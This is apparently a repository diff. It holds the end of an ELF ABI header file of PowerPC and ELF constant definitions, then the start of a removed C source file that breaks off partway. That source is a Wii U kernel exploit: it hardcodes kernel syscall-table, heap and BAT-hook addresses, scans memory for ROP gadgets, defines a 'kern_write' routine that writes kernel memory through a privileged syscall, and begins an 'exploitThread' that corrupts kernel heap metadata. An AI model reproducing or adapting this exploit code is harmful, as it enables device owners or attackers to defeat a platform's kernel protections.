#define EM_S390 22 /* IBM System/390 Processor */
|
||||
/* RESERVED 23-35 for future use */
|
||||
#define EM_V800 36 /* NEC V800 */
|
||||
#define EM_FR20 37 /* Fujitsu FR20 */
|
||||
#define EM_RH32 38 /* TRW RH-32 */
|
||||
#define EM_RCE 39 /* Motorola RCE */
|
||||
#define EM_ARM 40 /* Advanced Risc Machines ARM */
|
||||
#define EM_ALPHA 41 /* Digital Alpha */
|
||||
#define EM_SH 42 /* Hitachi SH */
|
||||
#define EM_SPARCV9 43 /* SPARC Version 9 */
|
||||
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
|
||||
#define EM_ARC 45 /* Argonaut RISC Core */
|
||||
#define EM_H8_300 46 /* Hitachi H8/300 */
|
||||
#define EM_H8_300H 47 /* Hitachi H8/300H */
|
||||
#define EM_H8S 48 /* Hitachi H8S */
|
||||
#define EM_H8_500 49 /* Hitachi H8/500 */
|
||||
#define EM_IA_64 50 /* Intel Merced */
|
||||
#define EM_MIPS_X 51 /* Stanford MIPS-X */
|
||||
#define EM_COLDFIRE 52 /* Motorola Coldfire */
|
||||
#define EM_68HC12 53 /* Motorola M68HC12 */
|
||||
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
|
||||
#define EM_PCP 55 /* Siemens PCP */
|
||||
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
|
||||
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
|
||||
#define EM_STARCORE 58 /* Motorola Start*Core processor */
|
||||
#define EM_ME16 59 /* Toyota ME16 processor */
|
||||
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
|
||||
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
|
||||
#define EM_X86_64 62 /* AMD x86-64 */
|
||||
#define EM_PDSP 63 /* Sony DSP Processor */
|
||||
/* RESERVED 64,65 for future use */
|
||||
#define EM_FX66 66 /* Siemens FX66 microcontroller */
|
||||
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
|
||||
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
|
||||
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
|
||||
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
|
||||
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
|
||||
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
|
||||
#define EM_SVX 73 /* Silicon Graphics SVx */
|
||||
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
|
||||
#define EM_VAX 75 /* Digital VAX */
|
||||
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
|
||||
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
|
||||
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
|
||||
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
|
||||
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
|
||||
#define EM_HUANY 81 /* Harvard University mach-indep objs */
|
||||
#define EM_PRISM 82 /* SiTera Prism */
|
||||
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
|
||||
#define EM_FR30 84 /* Fujitsu FR30 */
|
||||
#define EM_D10V 85 /* Mitsubishi DV10V */
|
||||
#define EM_D30V 86 /* Mitsubishi DV30V */
|
||||
#define EM_V850 87 /* NEC v850 */
|
||||
#define EM_M32R 88 /* Mitsubishi M32R */
|
||||
#define EM_MN10300 89 /* Matsushita MN10200 */
|
||||
#define EM_MN10200 90 /* Matsushita MN10200 */
|
||||
#define EM_PJ 91 /* picoJava */
|
||||
#define EM_NUM 92 /* number of machine types */
|
||||
|
||||
/* Version */
|
||||
#define EV_NONE 0 /* Invalid */
|
||||
#define EV_CURRENT 1 /* Current */
|
||||
#define EV_NUM 2 /* number of versions */
|
||||
|
||||
/* Section Header */
|
||||
typedef struct {
|
||||
Elf32_Word sh_name; /* name - index into section header
|
||||
string table section */
|
||||
Elf32_Word sh_type; /* type */
|
||||
Elf32_Word sh_flags; /* flags */
|
||||
Elf32_Addr sh_addr; /* address */
|
||||
Elf32_Off sh_offset; /* file offset */
|
||||
Elf32_Word sh_size; /* section size */
|
||||
Elf32_Word sh_link; /* section header table index link */
|
||||
Elf32_Word sh_info; /* extra information */
|
||||
Elf32_Word sh_addralign; /* address alignment */
|
||||
Elf32_Word sh_entsize; /* section entry size */
|
||||
} Elf32_Shdr;
|
||||
|
||||
/* Special Section Indexes */
|
||||
#define SHN_UNDEF 0 /* undefined */
|
||||
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
|
||||
#define SHN_LOPROC 0xff00 /* reserved range for processor */
|
||||
#define SHN_HIPROC 0xff1f /* specific section indexes */
|
||||
#define SHN_LOOS 0xff20 /* reserved range for operating */
|
||||
#define SHN_HIOS 0xff3f /* specific semantics */
|
||||
#define SHN_ABS 0xfff1 /* absolute value */
|
||||
#define SHN_COMMON 0xfff2 /* common symbol */
|
||||
#define SHN_XINDEX 0xffff /* Index is an extra table */
|
||||
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
|
||||
|
||||
/* sh_type */
|
||||
#define SHT_NULL 0 /* inactive */
|
||||
#define SHT_PROGBITS 1 /* program defined information */
|
||||
#define SHT_SYMTAB 2 /* symbol table section */
|
||||
#define SHT_STRTAB 3 /* string table section */
|
||||
#define SHT_RELA 4 /* relocation section with addends*/
|
||||
#define SHT_HASH 5 /* symbol hash table section */
|
||||
#define SHT_DYNAMIC 6 /* dynamic section */
|
||||
#define SHT_NOTE 7 /* note section */
|
||||
#define SHT_NOBITS 8 /* no space section */
|
||||
#define SHT_REL 9 /* relation section without addends */
|
||||
#define SHT_SHLIB 10 /* reserved - purpose unknown */
|
||||
#define SHT_DYNSYM 11 /* dynamic symbol table section */
|
||||
#define SHT_INIT_ARRAY 14 /* Array of constructors */
|
||||
#define SHT_FINI_ARRAY 15 /* Array of destructors */
|
||||
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
|
||||
#define SHT_GROUP 17 /* Section group */
|
||||
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
|
||||
#define SHT_NUM 19 /* number of section types */
|
||||
#define SHT_LOOS 0x60000000 /* Start OS-specific */
|
||||
#define SHT_HIOS 0x6fffffff /* End OS-specific */
|
||||
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define SHT_HIPROC 0x7fffffff /* specific section header types */
|
||||
#define SHT_LOUSER 0x80000000 /* reserved range for application */
|
||||
#define SHT_HIUSER 0xffffffff /* specific indexes */
|
||||
|
||||
/* Section names */
|
||||
#define ELF_BSS ".bss" /* uninitialized data */
|
||||
#define ELF_COMMENT ".comment" /* version control information */
|
||||
#define ELF_DATA ".data" /* initialized data */
|
||||
#define ELF_DATA1 ".data1" /* initialized data */
|
||||
#define ELF_DEBUG ".debug" /* debug */
|
||||
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
|
||||
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
|
||||
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
|
||||
#define ELF_FINI ".fini" /* termination code */
|
||||
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
|
||||
#define ELF_GOT ".got" /* global offset table */
|
||||
#define ELF_HASH ".hash" /* symbol hash table */
|
||||
#define ELF_INIT ".init" /* initialization code */
|
||||
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
|
||||
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
|
||||
#define ELF_LINE ".line" /* Symbolic line numnber information */
|
||||
#define ELF_NOTE ".note" /* Contains note section */
|
||||
#define ELF_PLT ".plt" /* Procedure linkage table */
|
||||
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
|
||||
#define ELF_REL_DATA ".rel.data" /* relocation data */
|
||||
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
|
||||
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
|
||||
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
|
||||
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
|
||||
#define ELF_REL_TEXT ".rel.text" /* relocation code */
|
||||
#define ELF_RODATA ".rodata" /* read-only data */
|
||||
#define ELF_RODATA1 ".rodata1" /* read-only data */
|
||||
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
|
||||
#define ELF_STRTAB ".strtab" /* string table */
|
||||
#define ELF_SYMTAB ".symtab" /* symbol table */
|
||||
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
|
||||
#define ELF_TBSS ".tbss" /* thread local uninit data */
|
||||
#define ELF_TDATA ".tdata" /* thread local init data */
|
||||
#define ELF_TDATA1 ".tdata1" /* thread local init data */
|
||||
#define ELF_TEXT ".text" /* code */
|
||||
|
||||
/* Section Attribute Flags - sh_flags */
|
||||
#define SHF_WRITE 0x1 /* Writable */
|
||||
#define SHF_ALLOC 0x2 /* occupies memory */
|
||||
#define SHF_EXECINSTR 0x4 /* executable */
|
||||
#define SHF_MERGE 0x10 /* Might be merged */
|
||||
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
|
||||
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
|
||||
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
|
||||
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
|
||||
#define SHF_GROUP 0x200 /* Member of section group */
|
||||
#define SHF_TLS 0x400 /* Thread local storage */
|
||||
#define SHF_MASKOS 0x0ff00000 /* OS specific */
|
||||
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||
/* specific section attributes */
|
||||
|
||||
/* Section Group Flags */
|
||||
#define GRP_COMDAT 0x1 /* COMDAT group */
|
||||
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
|
||||
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
|
||||
|
||||
/* Symbol Table Entry */
|
||||
typedef struct elf32_sym {
|
||||
Elf32_Word st_name; /* name - index into string table */
|
||||
Elf32_Addr st_value; /* symbol value */
|
||||
Elf32_Word st_size; /* symbol size */
|
||||
unsigned char st_info; /* type and binding */
|
||||
unsigned char st_other; /* 0 - no defined meaning */
|
||||
Elf32_Half st_shndx; /* section header index */
|
||||
} Elf32_Sym;
|
||||
|
||||
/* Symbol table index */
|
||||
#define STN_UNDEF 0 /* undefined */
|
||||
|
||||
/* Extract symbol info - st_info */
|
||||
#define ELF32_ST_BIND(x) ((x) >> 4)
|
||||
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
|
||||
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
|
||||
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
|
||||
|
||||
/* Symbol Binding - ELF32_ST_BIND - st_info */
|
||||
#define STB_LOCAL 0 /* Local symbol */
|
||||
#define STB_GLOBAL 1 /* Global symbol */
|
||||
#define STB_WEAK 2 /* like global - lower precedence */
|
||||
#define STB_NUM 3 /* number of symbol bindings */
|
||||
#define STB_LOOS 10 /* reserved range for operating */
|
||||
#define STB_HIOS 12 /* system specific symbol bindings */
|
||||
#define STB_LOPROC 13 /* reserved range for processor */
|
||||
#define STB_HIPROC 15 /* specific symbol bindings */
|
||||
|
||||
/* Symbol type - ELF32_ST_TYPE - st_info */
|
||||
#define STT_NOTYPE 0 /* not specified */
|
||||
#define STT_OBJECT 1 /* data object */
|
||||
#define STT_FUNC 2 /* function */
|
||||
#define STT_SECTION 3 /* section */
|
||||
#define STT_FILE 4 /* file */
|
||||
#define STT_NUM 5 /* number of symbol types */
|
||||
#define STT_TLS 6 /* Thread local storage symbol */
|
||||
#define STT_LOOS 10 /* reserved range for operating */
|
||||
#define STT_HIOS 12 /* system specific symbol types */
|
||||
#define STT_LOPROC 13 /* reserved range for processor */
|
||||
#define STT_HIPROC 15 /* specific symbol types */
|
||||
|
||||
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
|
||||
#define STV_DEFAULT 0 /* Normal visibility rules */
|
||||
#define STV_INTERNAL 1 /* Processor specific hidden class */
|
||||
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
|
||||
#define STV_PROTECTED 3 /* Not preemptible, not exported */
|
||||
|
||||
|
||||
/* Relocation entry with implicit addend */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Addr r_offset; /* offset of relocation */
|
||||
Elf32_Word r_info; /* symbol table index and type */
|
||||
} Elf32_Rel;
|
||||
|
||||
/* Relocation entry with explicit addend */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Addr r_offset; /* offset of relocation */
|
||||
Elf32_Word r_info; /* symbol table index and type */
|
||||
Elf32_Sword r_addend;
|
||||
} Elf32_Rela;
|
||||
|
||||
/* Extract relocation info - r_info */
|
||||
#define ELF32_R_SYM(i) ((i) >> 8)
|
||||
#define ELF32_R_TYPE(i) ((unsigned char) (i))
|
||||
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
|
||||
|
||||
/* Program Header */
|
||||
typedef struct {
|
||||
Elf32_Word p_type; /* segment type */
|
||||
Elf32_Off p_offset; /* segment offset */
|
||||
Elf32_Addr p_vaddr; /* virtual address of segment */
|
||||
Elf32_Addr p_paddr; /* physical address - ignored? */
|
||||
Elf32_Word p_filesz; /* number of bytes in file for seg. */
|
||||
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
|
||||
Elf32_Word p_flags; /* flags */
|
||||
Elf32_Word p_align; /* memory alignment */
|
||||
} Elf32_Phdr;
|
||||
|
||||
/* Segment types - p_type */
|
||||
#define PT_NULL 0 /* unused */
|
||||
#define PT_LOAD 1 /* loadable segment */
|
||||
#define PT_DYNAMIC 2 /* dynamic linking section */
|
||||
#define PT_INTERP 3 /* the RTLD */
|
||||
#define PT_NOTE 4 /* auxiliary information */
|
||||
#define PT_SHLIB 5 /* reserved - purpose undefined */
|
||||
#define PT_PHDR 6 /* program header */
|
||||
#define PT_TLS 7 /* Thread local storage template */
|
||||
#define PT_NUM 8 /* Number of segment types */
|
||||
#define PT_LOOS 0x60000000 /* reserved range for operating */
|
||||
#define PT_HIOS 0x6fffffff /* system specific segment types */
|
||||
#define PT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define PT_HIPROC 0x7fffffff /* specific segment types */
|
||||
|
||||
/* Segment flags - p_flags */
|
||||
#define PF_X 0x1 /* Executable */
|
||||
#define PF_W 0x2 /* Writable */
|
||||
#define PF_R 0x4 /* Readable */
|
||||
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
|
||||
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
|
||||
/* specific segment flags */
|
||||
/* Dynamic structure */
|
||||
typedef struct
|
||||
{
|
||||
Elf32_Sword d_tag; /* controls meaning of d_val */
|
||||
union
|
||||
{
|
||||
Elf32_Word d_val; /* Multiple meanings - see d_tag */
|
||||
Elf32_Addr d_ptr; /* program virtual address */
|
||||
} d_un;
|
||||
} Elf32_Dyn;
|
||||
|
||||
extern Elf32_Dyn _DYNAMIC[];
|
||||
|
||||
/* Dynamic Array Tags - d_tag */
|
||||
#define DT_NULL 0 /* marks end of _DYNAMIC array */
|
||||
#define DT_NEEDED 1 /* string table offset of needed lib */
|
||||
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
|
||||
#define DT_PLTGOT 3 /* address PLT/GOT */
|
||||
#define DT_HASH 4 /* address of symbol hash table */
|
||||
#define DT_STRTAB 5 /* address of string table */
|
||||
#define DT_SYMTAB 6 /* address of symbol table */
|
||||
#define DT_RELA 7 /* address of relocation table */
|
||||
#define DT_RELASZ 8 /* size of relocation table */
|
||||
#define DT_RELAENT 9 /* size of relocation entry */
|
||||
#define DT_STRSZ 10 /* size of string table */
|
||||
#define DT_SYMENT 11 /* size of symbol table entry */
|
||||
#define DT_INIT 12 /* address of initialization func. */
|
||||
#define DT_FINI 13 /* address of termination function */
|
||||
#define DT_SONAME 14 /* string table offset of shared obj */
|
||||
#define DT_RPATH 15 /* string table offset of library
|
||||
search path */
|
||||
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
|
||||
#define DT_REL 17 /* address of rel. tbl. w addends */
|
||||
#define DT_RELSZ 18 /* size of DT_REL relocation table */
|
||||
#define DT_RELENT 19 /* size of DT_REL relocation entry */
|
||||
#define DT_PLTREL 20 /* PLT referenced relocation entry */
|
||||
#define DT_DEBUG 21 /* bugger */
|
||||
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
|
||||
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
|
||||
#define DT_BIND_NOW 24 /* Process relocations of object */
|
||||
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
|
||||
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
|
||||
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
|
||||
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
|
||||
#define DT_RUNPATH 29 /* Library search path */
|
||||
#define DT_FLAGS 30 /* Flags for the object being loaded */
|
||||
#define DT_ENCODING 32 /* Start of encoded range */
|
||||
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
|
||||
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
|
||||
#define DT_NUM 34 /* Number used. */
|
||||
#define DT_LOOS 0x60000000 /* reserved range for OS */
|
||||
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
|
||||
#define DT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
|
||||
|
||||
/* Dynamic Tag Flags - d_un.d_val */
|
||||
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
|
||||
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
|
||||
#define DF_TEXTREL 0x04 /* Object contains text relocations */
|
||||
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
|
||||
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
|
||||
|
||||
/* Standard ELF hashing function */
|
||||
unsigned long elf_hash(const unsigned char *name);
|
||||
|
||||
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
|
||||
|
||||
/*
|
||||
* XXX - PowerPC defines really don't belong in here,
|
||||
* but we'll put them in for simplicity.
|
||||
*/
|
||||
|
||||
/* Values for Elf32/64_Ehdr.e_flags. */
|
||||
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
|
||||
|
||||
/* Cygnus local bits below */
|
||||
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
|
||||
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
|
||||
flag */
|
||||
|
||||
/* PowerPC relocations defined by the ABIs */
|
||||
#define R_PPC_NONE 0
|
||||
#define R_PPC_ADDR32 1 /* 32bit absolute address */
|
||||
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
|
||||
#define R_PPC_ADDR16 3 /* 16bit absolute address */
|
||||
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
|
||||
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
|
||||
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
|
||||
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
|
||||
#define R_PPC_ADDR14_BRTAKEN 8
|
||||
#define R_PPC_ADDR14_BRNTAKEN 9
|
||||
#define R_PPC_REL24 10 /* PC relative 26 bit */
|
||||
#define R_PPC_REL14 11 /* PC relative 16 bit */
|
||||
#define R_PPC_REL14_BRTAKEN 12
|
||||
#define R_PPC_REL14_BRNTAKEN 13
|
||||
#define R_PPC_GOT16 14
|
||||
#define R_PPC_GOT16_LO 15
|
||||
#define R_PPC_GOT16_HI 16
|
||||
#define R_PPC_GOT16_HA 17
|
||||
#define R_PPC_PLTREL24 18
|
||||
#define R_PPC_COPY 19
|
||||
#define R_PPC_GLOB_DAT 20
|
||||
#define R_PPC_JMP_SLOT 21
|
||||
#define R_PPC_RELATIVE 22
|
||||
#define R_PPC_LOCAL24PC 23
|
||||
#define R_PPC_UADDR32 24
|
||||
#define R_PPC_UADDR16 25
|
||||
#define R_PPC_REL32 26
|
||||
#define R_PPC_PLT32 27
|
||||
#define R_PPC_PLTREL32 28
|
||||
#define R_PPC_PLT16_LO 29
|
||||
#define R_PPC_PLT16_HI 30
|
||||
#define R_PPC_PLT16_HA 31
|
||||
#define R_PPC_SDAREL16 32
|
||||
#define R_PPC_SECTOFF 33
|
||||
#define R_PPC_SECTOFF_LO 34
|
||||
#define R_PPC_SECTOFF_HI 35
|
||||
#define R_PPC_SECTOFF_HA 36
|
||||
/* Keep this the last entry. */
|
||||
#define R_PPC_NUM 37
|
||||
|
||||
/* The remaining relocs are from the Embedded ELF ABI, and are not
|
||||
in the SVR4 ELF ABI. */
|
||||
#define R_PPC_EMB_NADDR32 101
|
||||
#define R_PPC_EMB_NADDR16 102
|
||||
#define R_PPC_EMB_NADDR16_LO 103
|
||||
#define R_PPC_EMB_NADDR16_HI 104
|
||||
#define R_PPC_EMB_NADDR16_HA 105
|
||||
#define R_PPC_EMB_SDAI16 106
|
||||
#define R_PPC_EMB_SDA2I16 107
|
||||
#define R_PPC_EMB_SDA2REL 108
|
||||
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
|
||||
#define R_PPC_EMB_MRKREF 110
|
||||
#define R_PPC_EMB_RELSEC16 111
|
||||
#define R_PPC_EMB_RELST_LO 112
|
||||
#define R_PPC_EMB_RELST_HI 113
|
||||
#define R_PPC_EMB_RELST_HA 114
|
||||
#define R_PPC_EMB_BIT_FLD 115
|
||||
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
|
||||
|
||||
/* Diab tool relocations. */
|
||||
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
|
||||
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
|
||||
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
|
||||
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
|
||||
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
|
||||
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
|
||||
|
||||
/* This is a phony reloc to handle any old fashioned TOC16 references
|
||||
that may still be in object files. */
|
||||
#define R_PPC_TOC16 255
|
||||
|
||||
#endif /* _ELF_H */
|
@ -1,412 +0,0 @@
|
||||
#include <coreinit/core.h>
|
||||
#include <coreinit/memory.h>
|
||||
#include <coreinit/debug.h>
|
||||
#include <coreinit/thread.h>
|
||||
#include <coreinit/cache.h>
|
||||
#include <coreinit/dynload.h>
|
||||
#include <coreinit/thread.h>
|
||||
#include <coreinit/exit.h>
|
||||
#include <sysapp/launch.h>
|
||||
#include <gx2/state.h>
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include "common/common.h"
|
||||
#include "utils/logger.h"
|
||||
#include "elf_abi.h"
|
||||
#include "../../sd_loader/sd_loader.h"
|
||||
|
||||
#define JIT_ADDRESS 0x01800000
|
||||
|
||||
#define KERN_HEAP 0xFF200000
|
||||
#define KERN_HEAP_PHYS 0x1B800000
|
||||
|
||||
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
|
||||
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
|
||||
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
|
||||
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
|
||||
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
|
||||
|
||||
#define KERN_CODE_READ 0xFFF023D4
|
||||
#define KERN_CODE_WRITE 0xFFF023F4
|
||||
#define KERN_DRVPTR 0xFFEAB530
|
||||
#define KERN_ADDRESS_TBL 0xFFEAB7A0
|
||||
|
||||
#define STARTID_OFFSET 0x08
|
||||
#define METADATA_OFFSET 0x14
|
||||
#define METADATA_SIZE 0x10
|
||||
|
||||
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
|
||||
#define BAT_SETUP_HOOK_ENTRY 0x00800000
|
||||
#define BAT4U_VAL 0x008000FF
|
||||
#define BAT4L_VAL 0x30800012
|
||||
|
||||
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
|
||||
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
|
||||
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
|
||||
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
|
||||
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
|
||||
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
|
||||
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
|
||||
|
||||
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
|
||||
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
|
||||
|
||||
|
||||
#define ADDRESS_main_entry_hook 0x0101c56c
|
||||
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
|
||||
|
||||
#define address_LiWaitIopComplete 0x01010180
|
||||
#define address_LiWaitIopCompleteWithInterrupts 0x0101006C
|
||||
#define address_LiWaitOneChunk 0x0100080C
|
||||
#define address_PrepareTitle_hook 0xFFF184E4
|
||||
#define address_sgIsLoadingBuffer 0xEFE19E80
|
||||
#define address_gDynloadInitialized 0xEFE13DBC
|
||||
|
||||
#define NOP_ADDR(addr) \
|
||||
*(u32*)addr = 0x60000000; \
|
||||
asm volatile("dcbf 0, %0; icbi 0, %0" : : "r" (addr & ~31));
|
||||
|
||||
|
||||
extern int32_t Register(char *driver_name, uint32_t name_length, void *buf1, void *buf2);
|
||||
extern void CopyToSaveArea(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
|
||||
extern void set_semaphore_phys(uint32_t set_semaphore, uint32_t kpaddr, uint32_t gx2data_addr);
|
||||
|
||||
extern void SC0x25_SetupSyscall(void);
|
||||
extern unsigned int SC0x65_ExploitCheck(unsigned int in);
|
||||
|
||||
/* Find a gadget based on a sequence of words */
|
||||
static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start)
|
||||
{
|
||||
uint32_t *ptr;
|
||||
|
||||
/* Search code before JIT area first */
|
||||
for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++)
|
||||
{
|
||||
if (!memcmp(ptr, &code[0], length)) return ptr;
|
||||
}
|
||||
|
||||
OSFatal("Failed to find gadget!");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Chadderz's kernel write function */
|
||||
static void __attribute__((noinline)) kern_write(const void *addr, uint32_t value)
|
||||
{
|
||||
asm volatile (
|
||||
"li 3,1\n"
|
||||
"li 4,0\n"
|
||||
"mr 5,%1\n"
|
||||
"li 6,0\n"
|
||||
"li 7,0\n"
|
||||
"lis 8,1\n"
|
||||
"mr 9,%0\n"
|
||||
"mr %1,1\n"
|
||||
"li 0,0x3500\n"
|
||||
"sc\n"
|
||||
"nop\n"
|
||||
"mr 1,%1\n"
|
||||
:
|
||||
: "r"(addr), "r"(value)
|
||||
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
|
||||
"11", "12"
|
||||
);
|
||||
}
|
||||
|
||||
int exploitThread(int argc, char **argv)
|
||||
{
|
||||
OSDynLoadModule gx2_handle;
|
||||
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
|
||||
|
||||
void (*pGX2SetSemaphore)(uint64_t *sem, int action);
|
||||
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore);
|
||||
uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C;
|
||||
|
||||
u32 gx2_init_attributes[9];
|
||||
u8 *gx2CommandBuffer = (u8*)memalign(0x40, 0x400000);
|
||||
|
||||
gx2_init_attributes[0] = 1;
|
||||
gx2_init_attributes[1] = (u32)gx2CommandBuffer;
|
||||
gx2_init_attributes[2] = 2;
|
||||
gx2_init_attributes[3] = 0x400000;
|
||||
gx2_init_attributes[4] = 7;
|
||||
gx2_init_attributes[5] = 0;
|
||||
gx2_init_attributes[6] = 8;
|
||||
gx2_init_attributes[7] = 0;
|
||||
gx2_init_attributes[8] = 0;
|
||||
GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
|
||||
|
||||
/* Allocate space for DRVHAX */
|
||||
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
|
||||
|
||||
/* Set the kernel heap metadata entry */
|
||||
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
|
||||
metadata[0] = (uint32_t)drvhax;
|
||||
metadata[1] = (uint32_t)-0x4c;
|
||||
metadata[2] = (uint32_t)-1;
|
||||
metadata[3] = (uint32_t)-1;
|
||||
|
||||
/* Find stuff */
|
||||
uint32_t gx2data[] = {0xfc2a0000};
|
||||
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
|
||||
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
|
||||
